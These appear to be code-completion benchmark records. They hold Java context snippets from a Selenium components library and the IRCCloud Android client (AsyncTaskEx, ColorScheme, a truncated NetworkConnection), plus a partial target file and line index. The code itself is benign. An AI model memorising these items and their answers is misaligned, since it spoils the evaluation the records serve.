selector instance\n */\n default WebElementSelector descendant(WebElementSelector selector)\n {\n // I could never imagine a situation for needing the following in Java\n WebElementSelector that = this;\n\n return new WebElementSelector()\n {\n @Override\n public WebElement find(SearchContext context)\n {\n return selector.find(that.find(context));\n }\n\n @Override\n public List<WebElement> findAll(SearchContext context)\n {\n return selector.findAll(that.find(context));\n }\n\n @Override\n public String decribe(String contextDescription)\n {\n return selector.decribe(that.decribe(contextDescription));\n }\n\n @Override\n public String toString()\n {\n return String.format(\"%s %s\", that, selector);\n }\n };\n }\n\n /**\n * @param xpath the xpath to the parent\n * @return the parent\n * @deprecated I think this is too complex. It should not be used.\n */\n @Deprecated\n default WebElementSelector ancestor(String xpath)\n {\n WebElementSelector parent = selectByXPath(\"ancestor::\" + xpath);\n WebElementSelector that = this;\n\n return new WebElementSelector()\n {\n @Override\n public WebElement find(SearchContext context)\n {\n return parent.find(that.find(context));\n }\n\n @Override\n public List<WebElement> findAll(SearchContext context)\n {\n return parent.findAll(that.find(context));\n }\n\n @Override\n public String decribe(String contextDescription)\n {\n return parent.decribe(that.decribe(contextDescription));\n }\n\n @Override\n public String toString()\n {\n return String.format(\"%s %s\", that, parent);\n }\n };\n }\n\n /**\n * @param selector the selector, that should be combined with this selector\n * @return the combined selector or null if one of the selectors is not combinable\n */\n @Nullable\n default WebElementSelector combine(@Nonnull WebElementSelector selector)\n {\n return null;\n }\n}", "public final class HtmlComponent extends AbstractSeleniumComponent implements ActiveSeleniumComponent\n{\n\n /**\n * Creates the component.\n *\n * @param parent the parent\n * @param selector the selector for the element\n */\n public HtmlComponent(SeleniumComponent parent, WebElementSelector selector)\n {\n super(parent, selector);\n }\n\n @Override\n public String getTagName()\n {\n return super.getTagName();\n }\n\n @Override\n public String getText()\n {\n return super.getText();\n }\n\n @Override\n public String getAttribute(String name)\n {\n return SeleniumUtils.getAttribute(this, name);\n }\n\n @Override\n public boolean containsClassName(String className)\n {\n return super.containsClassName(className);\n }\n\n}", "public class RadioComponent extends AbstractSeleniumComponent implements ActiveSeleniumComponent\n{\n\n /**\n * Creates the component.\n *\n * @param parent the parent\n * @param selector the selector for the element\n */\n public RadioComponent(SeleniumComponent parent, WebElementSelector selector)\n {\n super(parent, selector);\n }\n\n public RadioComponent(SeleniumComponent parent)\n {\n this(parent, selectByCss(\"input[type=\\\"radio\\\"]\"));\n }\n}" ]
import static at.porscheinformatik.seleniumcomponents.WebElementSelector.*; import at.porscheinformatik.seleniumcomponents.AbstractSeleniumComponent; import at.porscheinformatik.seleniumcomponents.ActiveSeleniumComponent; import at.porscheinformatik.seleniumcomponents.SeleniumComponent; import at.porscheinformatik.seleniumcomponents.WebElementSelector; import at.porscheinformatik.seleniumcomponents.component.HtmlComponent; import at.porscheinformatik.seleniumcomponents.component.RadioComponent;
/** * */ package at.porscheinformatik.seleniumcomponents.clarity; /** * @author Daniel Furtlehner */ public class ClarityRadioComponent extends AbstractSeleniumComponent implements ActiveSeleniumComponent { private final RadioComponent radio = new RadioComponent(this); private final HtmlComponent label = new HtmlComponent(this, selectByTagName("label"));
public ClarityRadioComponent(SeleniumComponent parent)
3
irccloud/android
src/com/irccloud/android/activity/PastebinsActivity.java
[ "public abstract class AsyncTaskEx<Params, Progress, Result> {\n private static final String LOG_TAG = \"AsyncTaskEx\";\n\n private static final int CORE_POOL_SIZE = 10;\n private static final int MAXIMUM_POOL_SIZE = 50;\n private static final int KEEP_ALIVE = 10;\n\n private static final LinkedBlockingQueue<Runnable> sWorkQueue =\n new LinkedBlockingQueue<Runnable>();\n\n private static final ThreadFactory sThreadFactory = new ThreadFactory() {\n private final AtomicInteger mCount = new AtomicInteger(1);\n\n public Thread newThread(Runnable r) {\n return new Thread(r, \"AsyncTaskEx #\" + mCount.getAndIncrement());\n }\n };\n\n private static final ThreadPoolExecutor sExecutor = new ThreadPoolExecutor(CORE_POOL_SIZE,\n MAXIMUM_POOL_SIZE, KEEP_ALIVE, TimeUnit.SECONDS, sWorkQueue, sThreadFactory);\n\n private static final int MESSAGE_POST_RESULT = 0x1;\n private static final int MESSAGE_POST_PROGRESS = 0x2;\n private static final int MESSAGE_POST_CANCEL = 0x3;\n\n private static final InternalHandler sHandler = new InternalHandler();\n\n private final WorkerRunnable<Params, Result> mWorker;\n private final FutureTask<Result> mFuture;\n\n private volatile Status mStatus = Status.PENDING;\n\n /**\n * Indicates the current status of the task. Each status will be set only once\n * during the lifetime of a task.\n */\n public enum Status {\n /**\n * Indicates that the task has not been executed yet.\n */\n PENDING,\n /**\n * Indicates that the task is running.\n */\n RUNNING,\n /**\n * Indicates that {@link AsyncTaskEx#onPostExecute} has finished.\n */\n FINISHED,\n }\n\n public static void clearQueue() {\n sWorkQueue.clear();\n }\n\n /**\n * Creates a new asynchronous task. This constructor must be invoked on the UI thread.\n */\n public AsyncTaskEx() {\n mWorker = new WorkerRunnable<Params, Result>() {\n public Result call() throws Exception {\n Process.setThreadPriority(Process.THREAD_PRIORITY_BACKGROUND);\n return doInBackground(mParams);\n }\n };\n\n mFuture = new FutureTask<Result>(mWorker) {\n @SuppressWarnings(\"unchecked\")\n @Override\n protected void done() {\n Message message;\n Result result = null;\n\n try {\n result = get();\n } catch (InterruptedException e) {\n android.util.Log.w(LOG_TAG, e);\n } catch (ExecutionException e) {\n throw new RuntimeException(\"An error occured while executing doInBackground()\",\n e.getCause());\n } catch (CancellationException e) {\n message = sHandler.obtainMessage(MESSAGE_POST_CANCEL,\n new AsyncTaskExResult<Result>(AsyncTaskEx.this, (Result[]) null));\n message.sendToTarget();\n return;\n } catch (Throwable t) {\n throw new RuntimeException(\"An error occured while executing \"\n + \"doInBackground()\", t);\n }\n\n message = sHandler.obtainMessage(MESSAGE_POST_RESULT,\n new AsyncTaskExResult<Result>(AsyncTaskEx.this, result));\n message.sendToTarget();\n }\n };\n }\n\n /**\n * Returns the current status of this task.\n *\n * @return The current status.\n */\n public final Status getStatus() {\n return mStatus;\n }\n\n /**\n * Override this method to perform a computation on a background thread. The\n * specified parameters are the parameters passed to {@link #execute}\n * by the caller of this task.\n * <p/>\n * This method can call {@link #publishProgress} to publish updates\n * on the UI thread.\n *\n * @param params The parameters of the task.\n * @return A result, defined by the subclass of this task.\n * @see #onPreExecute()\n * @see #onPostExecute\n * @see #publishProgress\n */\n protected abstract Result doInBackground(Params... params);\n\n /**\n * Runs on the UI thread before {@link #doInBackground}.\n *\n * @see #onPostExecute\n * @see #doInBackground\n */\n protected void onPreExecute() {\n }\n\n /**\n * Runs on the UI thread after {@link #doInBackground}. The\n * specified result is the value returned by {@link #doInBackground}\n * or null if the task was cancelled or an exception occured.\n *\n * @param result The result of the operation computed by {@link #doInBackground}.\n * @see #onPreExecute\n * @see #doInBackground\n */\n protected void onPostExecute(Result result) {\n }\n\n /**\n * Runs on the UI thread after {@link #publishProgress} is invoked.\n * The specified values are the values passed to {@link #publishProgress}.\n *\n * @param values The values indicating progress.\n * @see #publishProgress\n * @see #doInBackground\n */\n protected void onProgressUpdate(Progress... values) {\n }\n\n /**\n * Runs on the UI thread after {@link #cancel(boolean)} is invoked.\n *\n * @see #cancel(boolean)\n * @see #isCancelled()\n */\n protected void onCancelled() {\n }\n\n /**\n * Returns <tt>true</tt> if this task was cancelled before it completed\n * normally.\n *\n * @return <tt>true</tt> if task was cancelled before it completed\n * @see #cancel(boolean)\n */\n public final boolean isCancelled() {\n return mFuture.isCancelled();\n }\n\n /**\n * Attempts to cancel execution of this task. This attempt will\n * fail if the task has already completed, already been cancelled,\n * or could not be cancelled for some other reason. If successful,\n * and this task has not started when <tt>cancel</tt> is called,\n * this task should never run. If the task has already started,\n * then the <tt>mayInterruptIfRunning</tt> parameter determines\n * whether the thread executing this task should be interrupted in\n * an attempt to stop the task.\n *\n * @param mayInterruptIfRunning <tt>true</tt> if the thread executing this\n * task should be interrupted; otherwise, in-progress tasks are allowed\n * to complete.\n * @return <tt>false</tt> if the task could not be cancelled,\n * typically because it has already completed normally;\n * <tt>true</tt> otherwise\n * @see #isCancelled()\n * @see #onCancelled()\n */\n public final boolean cancel(boolean mayInterruptIfRunning) {\n return mFuture.cancel(mayInterruptIfRunning);\n }\n\n /**\n * Waits if necessary for the computation to complete, and then\n * retrieves its result.\n *\n * @return The computed result.\n * @throws CancellationException If the computation was cancelled.\n * @throws ExecutionException If the computation threw an exception.\n * @throws InterruptedException If the current thread was interrupted\n * while waiting.\n */\n public final Result get() throws InterruptedException, ExecutionException {\n return mFuture.get();\n }\n\n /**\n * Waits if necessary for at most the given time for the computation\n * to complete, and then retrieves its result.\n *\n * @param timeout Time to wait before cancelling the operation.\n * @param unit The time unit for the timeout.\n * @return The computed result.\n * @throws CancellationException If the computation was cancelled.\n * @throws ExecutionException If the computation threw an exception.\n * @throws InterruptedException If the current thread was interrupted\n * while waiting.\n * @throws TimeoutException If the wait timed out.\n */\n public final Result get(long timeout, TimeUnit unit) throws InterruptedException,\n ExecutionException, TimeoutException {\n return mFuture.get(timeout, unit);\n }\n\n /**\n * Executes the task with the specified parameters. The task returns\n * itself (this) so that the caller can keep a reference to it.\n * <p/>\n * This method must be invoked on the UI thread.\n *\n * @param params The parameters of the task.\n * @return This instance of AsyncTaskEx.\n * @throws IllegalStateException If {@link #getStatus()} returns either\n * {@link AsyncTaskEx.Status#RUNNING} or {@link AsyncTaskEx.Status#FINISHED}.\n */\n public final AsyncTaskEx<Params, Progress, Result> execute(Params... params) {\n if (mStatus != Status.PENDING) {\n switch (mStatus) {\n case RUNNING:\n throw new IllegalStateException(\"Cannot execute task:\"\n + \" the task is already running.\");\n case FINISHED:\n throw new IllegalStateException(\"Cannot execute task:\"\n + \" the task has already been executed \"\n + \"(a task can be executed only once)\");\n }\n }\n\n mStatus = Status.RUNNING;\n\n onPreExecute();\n\n mWorker.mParams = params;\n sExecutor.execute(mFuture);\n\n return this;\n }\n\n /**\n * This method can be invoked from {@link #doInBackground} to\n * publish updates on the UI thread while the background computation is\n * still running. Each call to this method will trigger the execution of\n * {@link #onProgressUpdate} on the UI thread.\n *\n * @param values The progress values to update the UI with.\n * @see #onProgressUpdate\n * @see #doInBackground\n */\n protected final void publishProgress(Progress... values) {\n sHandler.obtainMessage(MESSAGE_POST_PROGRESS,\n new AsyncTaskExResult<Progress>(this, values)).sendToTarget();\n }\n\n private void finish(Result result) {\n onPostExecute(result);\n mStatus = Status.FINISHED;\n }\n\n private static class InternalHandler extends Handler {\n public InternalHandler() {\n super(Looper.getMainLooper());\n }\n\n @SuppressWarnings({\"rawtypes\", \"unchecked\"})\n @Override\n public void handleMessage(Message msg) {\n AsyncTaskExResult result = (AsyncTaskExResult) msg.obj;\n switch (msg.what) {\n case MESSAGE_POST_RESULT:\n // There is only one result\n result.mTask.finish(result.mData[0]);\n break;\n case MESSAGE_POST_PROGRESS:\n result.mTask.onProgressUpdate(result.mData);\n break;\n case MESSAGE_POST_CANCEL:\n result.mTask.onCancelled();\n break;\n }\n }\n }\n\n private static abstract class WorkerRunnable<Params, Result> implements Callable<Result> {\n Params[] mParams;\n }\n\n private static class AsyncTaskExResult<Data> {\n @SuppressWarnings(\"rawtypes\")\n final AsyncTaskEx mTask;\n final Data[] mData;\n\n @SuppressWarnings(\"rawtypes\")\n AsyncTaskExResult(AsyncTaskEx task, Data... data) {\n mTask = task;\n mData = data;\n }\n }\n}", "public class ColorScheme {\n private static ColorScheme instance = new ColorScheme();\n\n public static ColorScheme getInstance() {\n return instance;\n }\n\n public static String getUserTheme() {\n String theme = PreferenceManager.getDefaultSharedPreferences(IRCCloudApplication.getInstance().getApplicationContext()).getString(\"theme\", ColorScheme.defaultTheme());\n if(theme.equals(\"auto\"))\n return getSystemDarkMode() ? \"midnight\" : \"dawn\";\n return theme;\n }\n\n public static int getIRCColor(int color, boolean background) {\n String s = ColorFormatter.COLOR_MAP[color];\n\n if(getInstance().isDarkTheme && !background) {\n if(ColorFormatter.DARK_FG_SUBSTITUTIONS.containsKey(s))\n s = ColorFormatter.DARK_FG_SUBSTITUTIONS.get(s);\n }\n\n return 0xff000000 + Integer.parseInt(s, 16);\n }\n\n public static int getTheme(String theme, boolean actionbar) {\n switch(theme) {\n case \"dawn\":\n return actionbar?R.style.dawn:R.style.dawnNoActionBar;\n case \"dusk\":\n return actionbar?R.style.dusk:R.style.duskNoActionBar;\n case \"tropic\":\n return actionbar?R.style.tropic:R.style.tropicNoActionBar;\n case \"emerald\":\n return actionbar?R.style.emerald:R.style.emeraldNoActionBar;\n case \"sand\":\n return actionbar?R.style.sand:R.style.sandNoActionBar;\n case \"rust\":\n return actionbar?R.style.rust:R.style.rustNoActionBar;\n case \"orchid\":\n return actionbar?R.style.orchid:R.style.orchidNoActionBar;\n case \"ash\":\n return actionbar?R.style.ash:R.style.ashNoActionBar;\n case \"midnight\":\n return actionbar?R.style.midnight:R.style.midnightNoActionBar;\n default:\n return getSystemDarkMode()?(actionbar?R.style.midnight:R.style.midnightNoActionBar):(actionbar?R.style.dawn:R.style.dawnNoActionBar);\n }\n }\n\n public static boolean getSystemDarkMode() {\n if(Build.VERSION.SDK_INT < 29) {\n PowerManager pm = (PowerManager)IRCCloudApplication.getInstance().getApplicationContext().getSystemService(Context.POWER_SERVICE);\n return pm.isPowerSaveMode();\n } else {\n int currentNightMode = IRCCloudApplication.getInstance().getApplicationContext().getResources().getConfiguration().uiMode & Configuration.UI_MODE_NIGHT_MASK;\n return currentNightMode == Configuration.UI_MODE_NIGHT_YES;\n }\n }\n\n public static String defaultTheme() {\n return Build.VERSION.SDK_INT >= 29 ? \"auto\" : \"dawn\";\n }\n\n public static int getDialogTheme(String theme) {\n switch(theme) {\n case \"dawn\":\n return R.style.dawnDialog;\n case \"dusk\":\n return R.style.duskDialog;\n case \"tropic\":\n return R.style.tropicDialog;\n case \"emerald\":\n return R.style.emeraldDialog;\n case \"sand\":\n return R.style.sandDialog;\n case \"rust\":\n return R.style.rustDialog;\n case \"orchid\":\n return R.style.orchidDialog;\n case \"ash\":\n return R.style.ashDialog;\n case \"midnight\":\n return R.style.midnightDialog;\n default:\n return getSystemDarkMode()?R.style.midnightDialog:R.style.dawnDialog;\n }\n }\n\n public static int getDialogWhenLargeTheme(String theme) {\n switch(theme) {\n case \"dawn\":\n return R.style.dawnDialogWhenLarge;\n case \"dusk\":\n return R.style.duskDialogWhenLarge;\n case \"tropic\":\n return R.style.tropicDialogWhenLarge;\n case \"emerald\":\n return R.style.emeraldDialogWhenLarge;\n case \"sand\":\n return R.style.sandDialogWhenLarge;\n case \"rust\":\n return R.style.rustDialogWhenLarge;\n case \"orchid\":\n return R.style.orchidDialogWhenLarge;\n case \"ash\":\n return R.style.ashDialogWhenLarge;\n case \"midnight\":\n return R.style.midnightDialogWhenLarge;\n default:\n return getSystemDarkMode()?R.style.midnightDialogWhenLarge:R.style.dawnDialogWhenLarge;\n }\n }\n\n private static String[] light_nick_colors = {\n \"b22222\",\n \"d2691e\",\n \"ff9166\",\n \"fa8072\",\n \"ff8c00\",\n \"228b22\",\n \"808000\",\n \"b7b05d\",\n \"8ebd2e\",\n \"2ebd2e\",\n \"82b482\",\n \"37a467\",\n \"57c8a1\",\n \"1da199\",\n \"579193\",\n \"008b8b\",\n \"00bfff\",\n \"4682b4\",\n \"1e90ff\",\n \"4169e1\",\n \"6a5acd\",\n \"7b68ee\",\n \"9400d3\",\n \"8b008b\",\n \"ba55d3\",\n \"ff00ff\",\n \"ff1493\"\n };\n\n private static String dark_nick_colors[] = {\n \"deb887\",\n \"ffd700\",\n \"ff9166\",\n \"fa8072\",\n \"ff8c00\",\n \"00ff00\",\n \"ffff00\",\n \"bdb76b\",\n \"9acd32\",\n \"32cd32\",\n \"8fbc8f\",\n \"3cb371\",\n \"66cdaa\",\n \"20b2aa\",\n \"40e0d0\",\n \"00ffff\",\n \"00bfff\",\n \"87ceeb\",\n \"339cff\",\n \"6495ed\",\n \"b2a9e5\",\n \"ff69b4\",\n \"da70d6\",\n \"ee82ee\",\n \"d68fff\",\n \"ff00ff\",\n \"ffb6c1\"\n };\n\n public static String colorForNick(String nick, boolean isDarkTheme) {\n String colors[] = isDarkTheme ? dark_nick_colors : light_nick_colors;\n // Normalise a bit\n // typically ` and _ are used on the end alone\n String normalizedNick = nick.toLowerCase().replaceAll(\"[`_]+$\", \"\");\n //remove |<anything> from the end\n normalizedNick = normalizedNick.replaceAll(\"\\\\|.*$\", \"\");\n\n Double hash = 0.0;\n\n for (int i = 0; i < normalizedNick.length(); i++) {\n hash = ((int) normalizedNick.charAt(i)) + (double) ((int) (hash.longValue()) << 6) + (double) ((int) (hash.longValue()) << 16) - hash;\n }\n\n return colors[(int) Math.abs(hash.longValue() % colors.length)];\n }\n\n public void setThemeFromContext(Context ctx, String theme_name) {\n theme = theme_name;\n contentBackgroundColor = colorForAttribute(ctx, R.attr.contentBackgroundColor);\n messageTextColor = colorForAttribute(ctx, R.attr.messageTextColor);\n opersGroupColor = colorForAttribute(ctx, R.attr.opersGroupColor);\n ownersGroupColor = colorForAttribute(ctx, R.attr.ownersGroupColor);\n adminsGroupColor = colorForAttribute(ctx, R.attr.adminsGroupColor);\n opsGroupColor = colorForAttribute(ctx, R.attr.opsGroupColor);\n halfopsGroupColor = colorForAttribute(ctx, R.attr.halfopsGroupColor);\n voicedGroupColor = colorForAttribute(ctx, R.attr.voicedGroupColor);\n membersGroupColor = colorForAttribute(ctx, R.attr.membersGroupColor);\n opersHeadingColor = colorForAttribute(ctx, R.attr.opersHeadingColor);\n ownersHeadingColor = colorForAttribute(ctx, R.attr.ownersHeadingColor);\n adminsHeadingColor = colorForAttribute(ctx, R.attr.adminsHeadingColor);\n opsHeadingColor = colorForAttribute(ctx, R.attr.opsHeadingColor);\n halfopsHeadingColor = colorForAttribute(ctx, R.attr.halfopsHeadingColor);\n voicedHeadingColor = colorForAttribute(ctx, R.attr.voicedHeadingColor);\n membersHeadingColor = colorForAttribute(ctx, R.attr.membersHeadingColor);\n memberListTextColor = colorForAttribute(ctx, R.attr.memberListTextColor);\n memberListAwayTextColor = colorForAttribute(ctx, R.attr.memberListAwayTextColor);\n timestampColor = colorForAttribute(ctx, R.attr.timestampColor);\n darkBlueColor = colorForAttribute(ctx, R.attr.darkBlueColor);\n networkErrorBackgroundColor = colorForAttribute(ctx, R.attr.networkErrorBackgroundColor);\n networkErrorColor = colorForAttribute(ctx, R.attr.networkErrorColor);\n errorBackgroundColor = colorForAttribute(ctx, R.attr.errorBackgroundColor);\n statusBackgroundColor = colorForAttribute(ctx, R.attr.statusBackgroundColor);\n selfBackgroundColor = colorForAttribute(ctx, R.attr.selfBackgroundColor);\n highlightBackgroundColor = colorForAttribute(ctx, R.attr.highlightBackgroundColor);\n highlightTimestampColor = colorForAttribute(ctx, R.attr.highlightTimestampColor);\n noticeBackgroundColor = colorForAttribute(ctx, R.attr.noticeBackgroundColor);\n timestampBackgroundColor = colorForAttribute(ctx, R.attr.timestampBackgroundColor);\n newMsgsBackgroundColor = colorForAttribute(ctx, R.attr.newMsgsBackgroundColor);\n collapsedRowTextColor = colorForAttribute(ctx, R.attr.collapsedRowTextColor);\n collapsedRowNickColor = colorForAttribute(ctx, R.attr.collapsedRowNickColor);\n collapsedHeadingBackgroundColor = colorForAttribute(ctx, R.attr.collapsedHeadingBackgroundColor);\n navBarColor = colorForAttribute(ctx, R.attr.navBarColor);\n navBarHeadingColor = colorForAttribute(ctx, R.attr.navBarHeadingColor);\n navBarSubheadingColor = colorForAttribute(ctx, R.attr.navBarSubheadingColor);\n navBarBorderColor = colorForAttribute(ctx, R.attr.navBarBorderColor);\n textareaTextColor = colorForAttribute(ctx, R.attr.textareaTextColor);\n textareaBackgroundColor = colorForAttribute(ctx, R.attr.textareaBackgroundColor);\n linkColor = colorForAttribute(ctx, R.attr.linkColor);\n lightLinkColor = colorForAttribute(ctx, R.attr.lightLinkColor);\n serverBackgroundColor = colorForAttribute(ctx, R.attr.serverBackgroundColor);\n bufferBackgroundColor = colorForAttribute(ctx, R.attr.bufferBackgroundColor);\n unreadBorderColor = colorForAttribute(ctx, R.attr.unreadBorderColor);\n highlightBorderColor = colorForAttribute(ctx, R.attr.highlightBorderColor);\n networkErrorBorderColor = colorForAttribute(ctx, R.attr.networkErrorBorderColor);\n bufferTextColor = colorForAttribute(ctx, R.attr.bufferTextColor);\n inactiveBufferTextColor = colorForAttribute(ctx, R.attr.inactiveBufferTextColor);\n unreadBufferTextColor = colorForAttribute(ctx, R.attr.unreadBufferTextColor);\n selectedBufferTextColor = colorForAttribute(ctx, R.attr.selectedBufferTextColor);\n selectedBufferBackgroundColor = colorForAttribute(ctx, R.attr.selectedBufferBackgroundColor);\n bufferBorderColor = colorForAttribute(ctx, R.attr.bufferBorderColor);\n selectedBufferBorderColor = colorForAttribute(ctx, R.attr.selectedBufferBorderColor);\n backlogDividerColor = colorForAttribute(ctx, R.attr.backlogDividerColor);\n chatterBarTextColor = colorForAttribute(ctx, R.attr.chatterBarTextColor);\n chatterBarColor = colorForAttribute(ctx, R.attr.chatterBarColor);\n awayBarTextColor = colorForAttribute(ctx, R.attr.awayBarTextColor);\n awayBarColor = colorForAttribute(ctx, R.attr.awayBarColor);\n connectionBarTextColor = colorForAttribute(ctx, R.attr.connectionBarTextColor);\n connectionBarColor = colorForAttribute(ctx, R.attr.connectionBarColor);\n placeholderColor = colorForAttribute(ctx, R.attr.placeholderColor);\n unreadBlueColor = colorForAttribute(ctx, R.attr.unreadBlueColor);\n serverBorderColor = colorForAttribute(ctx, R.attr.serverBorderColor);\n failedServerBorderColor = colorForAttribute(ctx, R.attr.failedServerBorderColor);\n archivesHeadingTextColor = colorForAttribute(ctx, R.attr.archivesHeadingTextColor);\n archivedChannelTextColor = colorForAttribute(ctx, R.attr.archivedChannelTextColor);\n archivedBufferTextColor = colorForAttribute(ctx, R.attr.archivedBufferTextColor);\n selectedArchivesHeadingColor = colorForAttribute(ctx, R.attr.selectedArchivesHeadingColor);\n timestampTopBorderColor = colorForAttribute(ctx, R.attr.timestampTopBorderColor);\n timestampBottomBorderColor = colorForAttribute(ctx, R.attr.timestampBottomBorderColor);\n expandCollapseIndicatorColor = colorForAttribute(ctx, R.attr.expandCollapseIndicatorColor);\n bufferHighlightColor = colorForAttribute(ctx, R.attr.bufferHighlightColor);\n selectedBufferHighlightColor = colorForAttribute(ctx, R.attr.selectedBufferHighlightColor);\n archivedBufferHighlightColor = colorForAttribute(ctx, R.attr.archivedBufferHighlightColor);\n selectedArchivedBufferHighlightColor = colorForAttribute(ctx, R.attr.selectedArchivedBufferHighlightColor);\n selectedArchivedBufferBackgroundColor = colorForAttribute(ctx, R.attr.selectedArchivedBufferBackgroundColor);\n contentBorderColor = colorForAttribute(ctx, R.attr.contentBorderColor);\n bufferBorderDrawable = resourceForAttribute(ctx, R.attr.bufferBorderDrawable);\n serverBorderDrawable = resourceForAttribute(ctx, R.attr.serverBorderDrawable);\n selectedBorderDrawable = resourceForAttribute(ctx, R.attr.selectedBorderDrawable);\n collapsedBorderDrawable = resourceForAttribute(ctx, R.attr.collapsedBorderDrawable);\n bufferBackgroundDrawable = resourceForAttribute(ctx, R.attr.bufferBackgroundDrawable);\n serverBackgroundDrawable = resourceForAttribute(ctx, R.attr.serverBackgroundDrawable);\n selectedBackgroundDrawable = resourceForAttribute(ctx, R.attr.selectedBackgroundDrawable);\n lastSeenEIDBackgroundDrawable = resourceForAttribute(ctx, R.attr.lastSeenEIDBackgroundDrawable);\n socketclosedBackgroundDrawable = resourceForAttribute(ctx, R.attr.socketclosedBackgroundDrawable);\n timestampBackgroundDrawable = resourceForAttribute(ctx, R.attr.timestampBackgroundDrawable);\n actionBarDrawable = resourceForAttribute(ctx, R.attr.actionbarDrawable);\n colorControlNormal = colorForAttribute(ctx, R.attr.colorControlNormal);\n dialogBackgroundColor = colorForAttribute(ctx, R.attr.dialogBackgroundColor);\n windowBackgroundDrawable = resourceForAttribute(ctx, R.attr.windowBackgroundDrawable);\n row_opers_bg_drawable = resourceForAttribute(ctx, R.attr.row_opers_bg_drawable);\n row_owners_bg_drawable = resourceForAttribute(ctx, R.attr.row_owners_bg_drawable);\n row_admins_bg_drawable = resourceForAttribute(ctx, R.attr.row_admins_bg_drawable);\n row_ops_bg_drawable = resourceForAttribute(ctx, R.attr.row_ops_bg_drawable);\n row_halfops_bg_drawable = resourceForAttribute(ctx, R.attr.row_halfops_bg_drawable);\n row_voiced_bg_drawable = resourceForAttribute(ctx, R.attr.row_voiced_bg_drawable);\n row_members_bg_drawable = resourceForAttribute(ctx, R.attr.row_members_bg_drawable);\n codeSpanForegroundColor = colorForAttribute(ctx, R.attr.codeSpanForegroundColor);\n codeSpanBackgroundColor = colorForAttribute(ctx, R.attr.codeSpanBackgroundColor);\n statusBarColor = colorForAttribute(ctx, android.R.attr.statusBarColor);\n isDarkTheme = !theme.equals(\"dawn\");\n selfTextColor = isDarkTheme?\"ffffff\":\"142b43\";\n }\n\n private int colorForAttribute(Context ctx, int attribute) {\n TypedValue v = new TypedValue();\n ctx.getTheme().resolveAttribute(attribute, v, true);\n return v.data;\n }\n\n private int resourceForAttribute(Context ctx, int attribute) {\n TypedValue v = new TypedValue();\n ctx.getTheme().resolveAttribute(attribute, v, true);\n return v.resourceId;\n }\n\n public int contentBackgroundColor;\n public int messageTextColor;\n public int opersGroupColor;\n public int ownersGroupColor;\n public int adminsGroupColor;\n public int opsGroupColor;\n public int halfopsGroupColor;\n public int voicedGroupColor;\n public int membersGroupColor;\n public int opersHeadingColor;\n public int ownersHeadingColor;\n public int adminsHeadingColor;\n public int opsHeadingColor;\n public int halfopsHeadingColor;\n public int voicedHeadingColor;\n public int membersHeadingColor;\n public int memberListTextColor;\n public int memberListAwayTextColor;\n public int timestampColor;\n public int darkBlueColor;\n public int networkErrorBackgroundColor;\n public int networkErrorColor;\n public int errorBackgroundColor;\n public int statusBackgroundColor;\n public int selfBackgroundColor;\n public int highlightBackgroundColor;\n public int highlightTimestampColor;\n public int noticeBackgroundColor;\n public int timestampBackgroundColor;\n public int newMsgsBackgroundColor;\n public int collapsedRowTextColor;\n public int collapsedRowNickColor;\n public int collapsedHeadingBackgroundColor;\n public int navBarColor;\n public int navBarHeadingColor;\n public int navBarSubheadingColor;\n public int navBarBorderColor;\n public int textareaTextColor;\n public int textareaBackgroundColor;\n public int linkColor;\n public int lightLinkColor;\n public int serverBackgroundColor;\n public int bufferBackgroundColor;\n public int unreadBorderColor;\n public int highlightBorderColor;\n public int networkErrorBorderColor;\n public int bufferTextColor;\n public int inactiveBufferTextColor;\n public int unreadBufferTextColor;\n public int selectedBufferTextColor;\n public int selectedBufferBackgroundColor;\n public int bufferBorderColor;\n public int selectedBufferBorderColor;\n public int backlogDividerColor;\n public int chatterBarTextColor;\n public int chatterBarColor;\n public int awayBarTextColor;\n public int awayBarColor;\n public int connectionBarTextColor;\n public int connectionBarColor;\n public int placeholderColor;\n public int unreadBlueColor;\n public int serverBorderColor;\n public int failedServerBorderColor;\n public int archivesHeadingTextColor;\n public int archivedChannelTextColor;\n public int archivedBufferTextColor;\n public int selectedArchivesHeadingColor;\n public int timestampTopBorderColor;\n public int timestampBottomBorderColor;\n public int expandCollapseIndicatorColor;\n public int bufferHighlightColor;\n public int selectedBufferHighlightColor;\n public int archivedBufferHighlightColor;\n public int selectedArchivedBufferHighlightColor;\n public int selectedArchivedBufferBackgroundColor;\n public int contentBorderColor;\n public int bufferBorderDrawable;\n public int serverBorderDrawable;\n public int selectedBorderDrawable;\n public int collapsedBorderDrawable;\n public int bufferBackgroundDrawable;\n public int serverBackgroundDrawable;\n public int selectedBackgroundDrawable;\n public int lastSeenEIDBackgroundDrawable;\n public int socketclosedBackgroundDrawable;\n public int timestampBackgroundDrawable;\n public int colorControlNormal;\n public int actionBarDrawable;\n public int dialogBackgroundColor;\n public int windowBackgroundDrawable;\n public int statusBarColor;\n public int row_opers_bg_drawable;\n public int row_owners_bg_drawable;\n public int row_admins_bg_drawable;\n public int row_ops_bg_drawable;\n public int row_halfops_bg_drawable;\n public int row_voiced_bg_drawable;\n public int row_members_bg_drawable;\n public String theme;\n public boolean isDarkTheme;\n public String selfTextColor;\n public int codeSpanForegroundColor;\n public int codeSpanBackgroundColor;\n}", "public class NetworkConnection {\n private static final String TAG = \"IRCCloud\";\n private static NetworkConnection instance = null;\n\n private static final ServersList mServers = ServersList.getInstance();\n private static final BuffersList mBuffers = BuffersList.getInstance();\n private static final ChannelsList mChannels = ChannelsList.getInstance();\n private static final UsersList mUsers = UsersList.getInstance();\n private static final EventsList mEvents = EventsList.getInstance();\n private static final RecentConversationsList mRecentConversations = RecentConversationsList.getInstance();\n\n public static final int STATE_DISCONNECTED = 0;\n public static final int STATE_CONNECTING = 1;\n public static final int STATE_CONNECTED = 2;\n public static final int STATE_DISCONNECTING = 3;\n private int state = STATE_DISCONNECTED;\n private long highest_eid = -1;\n\n public interface IRCEventHandler {\n void onIRCEvent(int message, Object object);\n }\n\n public interface IRCResultCallback {\n void onIRCResult(IRCCloudJSONObject result);\n }\n\n private WebSocketClient client = null;\n private UserInfo userInfo = null;\n private final ArrayList<IRCEventHandler> handlers = new ArrayList<IRCEventHandler>();\n private final HashMap<Integer, IRCResultCallback> resultCallbacks = new HashMap<>();\n public String session = null;\n private volatile int last_reqid = 0;\n private static final Timer idleTimer = new Timer(\"websocket-idle-timer\");\n //private static final Timer saveTimer = new Timer(\"backlog-save-timer\");\n private TimerTask idleTimerTask = null;\n private TimerTask saveTimerTask = null;\n private TimerTask disconnectSockerTimerTask = null;\n public long idle_interval = 1000;\n private volatile int failCount = 0;\n private long reconnect_timestamp = 0;\n public String useragent = null;\n private String streamId = null;\n private int accrued = 0;\n int currentBid = 